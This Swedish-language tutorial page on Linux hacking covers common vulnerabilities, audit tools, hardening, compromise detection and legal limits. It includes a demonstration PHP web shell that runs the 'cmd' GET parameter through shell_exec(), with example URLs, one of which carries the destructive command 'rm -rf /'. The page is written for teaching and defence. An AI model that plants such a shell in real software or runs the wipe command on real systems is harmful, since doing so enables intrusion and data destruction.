Linux Hacking Handledning: Ubuntu Kommandon och verktyg

Linux är det mest använda operativsystemet för servers, särskilt för webbservrar. Det är öppen källkod, vilket innebär att vem som helst kan läsa källkoden. Denna transparens går åt båda hållen: utvecklare använder det för att snabbt hitta och åtgärda brister, medan angripare studerar samma kod och letar efter svagheter att utnyttja. Linux-hackning är att utnyttja dessa svagheter för att få obehörig åtkomst till ett system.

Avsnitten nedan behandlar vad Linux är, de säkerhetsproblem som påverkar det, en praktisk titt på hacking med Ubuntu, och de motåtgärder du kan vidta.

Snabbanteckning om Linux

Linux är ett operativsystem med öppen källkod. Många distributioner är byggda på det, inklusive Red Hat Enterprise Linux, Fedora, Debian och UbuntuEftersom källkoden är publicerad kan forskare, leverantörer och angripare alla inspektera den. Angripare använder den åtkomsten för att leta efter exploaterbara brister, medan samma insyn gör att utvecklare kan leverera korrigeringar snabbare än vad stängda plattformar ofta klarar av. Linux körs som ett operativsystem för server, stationär dator, surfplatta eller mobil enhet.

Linuxprogram kan hanteras via ett grafiskt gränssnitt eller från kommandoraden. Kommandoradsarbete är snabbare och mer exakt än att klicka sig igenom ett grafiskt gränssnitt, vilket är anledningen till att säkerhetstestare som arbetar med distributioner som Kali Linux tillbringar nästan all sin tid i en terminal. Att känna till de grundläggande kommandona är därför en praktisk förutsättning.

Se detta Linux handledning för grunderna, och för Kali Linux handledning för den säkerhetsfokuserade distributionen som byggts ovanpå dem.

Vanliga säkerhetssårbarheter och attackvektorer i Linux

Attacker mot Linux förlitar sig sällan på exotiska exploater. Telemetri som publicerats under 2025 och 2026 visar att de flesta komprometterade system tractillbaka till en liten uppsättning återkommande svagheter, och att känna till dem visar var du ska lägga defensiva ansträngningar först.

• Svaga eller återanvända SSH-uppgifter — Brute-force och försök att stjäla autentiseringsuppgifter mot internetbaserad SSH står för den stora majoriteten av all fientlig aktivitet som observerats på Linux-slutpunkter.
• Ouppdaterade kärn- och paketfel — Linuxkärnteamet blev en CVE-nummereringsauktoritet år 2024, och rapporterade kärn-CVE:er ökade från ungefär 290 år 2023 till mer än 3 500 året därpå, så patch-eftersläpningar byggs upp snabbt.
• Felkonfiguration — standardkonton, onödiga daemoner, filer som kan skrivas i hela världen och tillåtande sudo-regler delar ut behörigheter som ingen exploit krävdes för att erhålla.
• Sårbara webbapplikationer — brister som till exempel SQL-injektion och cross-site scripting låter en angripare nå servern via applikationen snarare än operativsystemet. Webbskal är den enskilt vanligaste skadliga artefakten som finns på komprometterade Linux-servrar.
• Fel vid eskalering av privilegier — lokala brister som gör ett begränsat konto till root. Vissa har överlevt oupptäckta i kärnan i mer än ett decennium innan de avslöjades.
• Leveranskedjans och beroenderisk — tredjepartspaket, språkbibliotek och containeravbildningar hämtar kod som ingen i driftsteamet har granskat.

Inget av dessa kräver att en angripare besegrar Linux självt. Analyser av intrång 2025 visade att ungefär fyra av fem inte involverade någon skadlig kod alls, utan istället förlitade sig på felkonfiguration och stulna inloggningsuppgifter.

Linux Hacking Tools

Säkerhetstestare och systemadministratörer använder samma skannrar: ena sidan för att hitta svagheter innan en angripare gör det, den andra för att bekräfta att korrigeringarna gäller. Verktygen nedan är de som oftast används för att granska en Linux-värd.

Listan är inte uttömmande; den ger en uppfattning om de verktyg som finns tillgängliga för revision. Ubuntu och andra Linux-system. Äldre guider rekommenderar fortfarande SARA, Security Auditor's Research Assistant, men dess slutgiltiga utgåva är från 2009 och dess projektwebbplats är offline, så Lynis och OpenVAS är de bibehållna alternativen.

Hackingaktivitet: Hack a Ubuntu Linux-system som använder PHP

I det här praktiska scenariot ska vi titta på hur en Linux-värd kan nås via en webbapplikation, med PHP som exempel. Inget levande offer är måltavlan. Om du vill testa det, installera LAMPP, Linux-versionen av XAMPP, på din egen maskin.

PHP levereras med två funktioner som kan användas för att köra operativsystemkommandon: exec() och shell_exec(). Funktionen exec() returnerar den sista raden i kommandoutdata, medan shell_exec() returnerar hela resultatet av kommandot som en sträng.

Som demonstrationssyfte, anta att en angripare lyckas ladda upp följande fil till en webbserver.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

HÄR,

Skriptet ovan tar kommandot från GET-variabeln cmd. Kommandot körs med shell_exec() och resultatet returneras i webbläsaren.

Koden ovan kan utnyttjas med hjälp av följande URL

http://localhost/cp/konsole.php?cmd=ls%20-l

HÄR,

• ”…konsole.php?cmd=ls%20-l” tilldelar värdet ls –l till variabeln cmd.

Kommandot på Ubuntu servern körs därför som

shell_exec('ls -l') ;

Att köra koden ovan på en webbserver ger ett resultat som liknar följande.

Utdata visar helt enkelt filerna i den aktuella katalogen och deras behörigheter.

Anta nu att angriparen skickar följande kommando istället.

rm -rf /

HÄR,

• "rm" tar bort filer.
• "rf" gör att rm-kommandot körs i rekursivt läge och tar bort alla mappar och filer.
• "/" instruerar kommandot att börja radera från rotkatalogen.

Attacken URL skulle se ut ungefär så här

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

En ogiltig parameter är därför tillräcklig för att ge en angripare de rättigheter som webbserverkontot har. De två avsnitten som följer finns för att förhindra att detta händer, och för att fånga upp det när förebyggandet misslyckas.

Hur man förhindrar Linux-hackar

Linux-hackning utnyttjar sårbarheter i operativsystemet och i programvaran som körs ovanpå det. En organisation kan införa följande kontroller, tillämpade tillsammans, för att stänga de flesta av de öppningar som beskrivs ovan.

• Patchhantering — patchar åtgärdar de buggar som angripare utnyttjar för att kompromettera ett system. En definierad policy säkerställer att relevanta uppdateringar installeras omedelbart snarare än närhelst någon kommer ihåg dem.
• Korrekt OS-konfiguration — inaktivera inaktiva användarkonton och onödiga daemoner. Ändra standardinställningar, inklusive standardanvändarnamn, lösenord för delade program och standardportnummer.
• SSH-härdning — inaktivera root-inloggning och lösenordsautentisering, tillåt endast namngivna användare eller grupper och begränsa autentiseringsförsök. Detta stänger den mest attackerade ingångspunkten på Linux.
• Minsta privilegium — ge konton och tjänster endast de rättigheter de behöver, och begränsa sudo till specifika kommandon istället för generell administrativ åtkomst.
• Obligatorisk åtkomstkontroll — behåll SELinux (Red Hat-familjen) eller AppArmor (Debian och Ubuntu) i tvingande läge så att en komprometterad tjänst inte kan nå resten av systemet.
• Ingångsvalidering — demonstrationen ovan fungerar bara eftersom begärandata når en shellfunktion. Skicka aldrig användarinmatning till exec() eller shell_exec().
• Brandväggar och segmentering — exponera endast de portar som en tjänst verkligen behöver, med hjälp av en brandvägg och nätverkssegmentering för att begränsa vad en komprometterad värd kan nå.
• Intrångsdetekteringssystem — sådana verktyg kan användas för att upptäcka obehörig åtkomst till systemet, och vissa kan även blockera försöket.
• Testade säkerhetskopior — offline, återställningsbara säkerhetskopior förvandlar ett destruktivt kommando som det ovan till ett avbrott snarare än en permanent förlust.

Hur man upptäcker ett komprometterat Linux-system

Förebyggande åtgärder misslyckas så småningom, så den andra frågan är hur snabbt du skulle märka det. Upptäckt på Linux beror på att man samlar in rätt bevis före en incident, inte efter en.

• Revisionsloggning — kärngranskningsramverket, auditd, registrerar privilegier, filåtkomst och systemanrop i en form som en komprometterad process inte i tysthet kan skriva om. Vidarebefordra dessa loggar från värden till en central insamlare.
• Autentiseringsloggar — en våg av misslyckanden följt av en enda framgång i /var/log/auth.log eller /var/log/secure är den klassiska brute-force-signaturen.
• Oväntade processer och kopplingar — en lyssningstjänst eller utgående anslutning som ingen kan redogöra för förtjänar omedelbar utredning.
• Övervakning av filintegritet — verktyg som haschar systembinärfiler och konfigurationsfiler flaggar ändringar i filer som aldrig ska ändras.
• Schemalagda uppgifter och startobjekt — persistens hamnar vanligtvis i cron-jobb, systemd-enheter eller shell-profilskript.
• Nya eller ändrade konton — leta efter okända användare, andra konton med UID 0 och SSH-nycklar som ingen har lagt till.
• Webbserverkataloger — eftersom webbskal är den vanligaste skadliga filen som finns på Linux-servrar, förtjänar oväntade skriptfiler under en webbrot noggrann uppmärksamhet.
• Schemalagda revisioner — kör ett värdgranskningsverktyg som Lynis enligt ett schema och behandla varje rapport som en arbetslista snarare än en engångsuppgift.

Om du hittar bevis på en kompromiss, isolera värden, bevara loggarna och en diskavbildning innan du ändrar något, och återuppbygg från kända media istället för att försöka rensa ett körande system. Bevishanteringssidan av det arbetet behandlas i digital kriminalteknik.

Juridiska och etiska gränser för Linux-hackning

Varje teknik på den här sidan är laglig att använda på system du äger eller har skriftligt tillstånd att testa, och olaglig nästan överallt annars. Övningen ovan går medvetet emot en lokal installation av just den anledningen.

• Skriftlig fullmakt — ett undertecknat testomfång, ett överenskommet testfönster och en namngiven kontaktperson är det som skiljer ett penetrationstest från ett brott. Muntligt godkännande räcker inte.
• Håll dig inom räckvidden — värdar, adressintervall och tekniker som inte listas är inte tillåtna, även när de är nåbara.
• Hantera data varsamt — bevis som samlats in under ett test innehåller fortfarande verkliga personuppgifter och måste förvaras säkert och förstöras efteråt.
• Rapportera ansvarsfullt — informera ägaren om fynden och ge tid för en åtgärd innan något publiceras.

Den juridiska risken är verklig: obehörig åtkomst till ett datorsystem är ett brott enligt lagar som den amerikanska lagen om datorfraud och missbruk och den brittiska lagen om datormissbruk. Om du vill bygga en karriär på dessa färdigheter, välj en erkänd väg – en säkerhetscertifiering plus ett labb du äger, snarare än någon annans server.

Vanliga frågor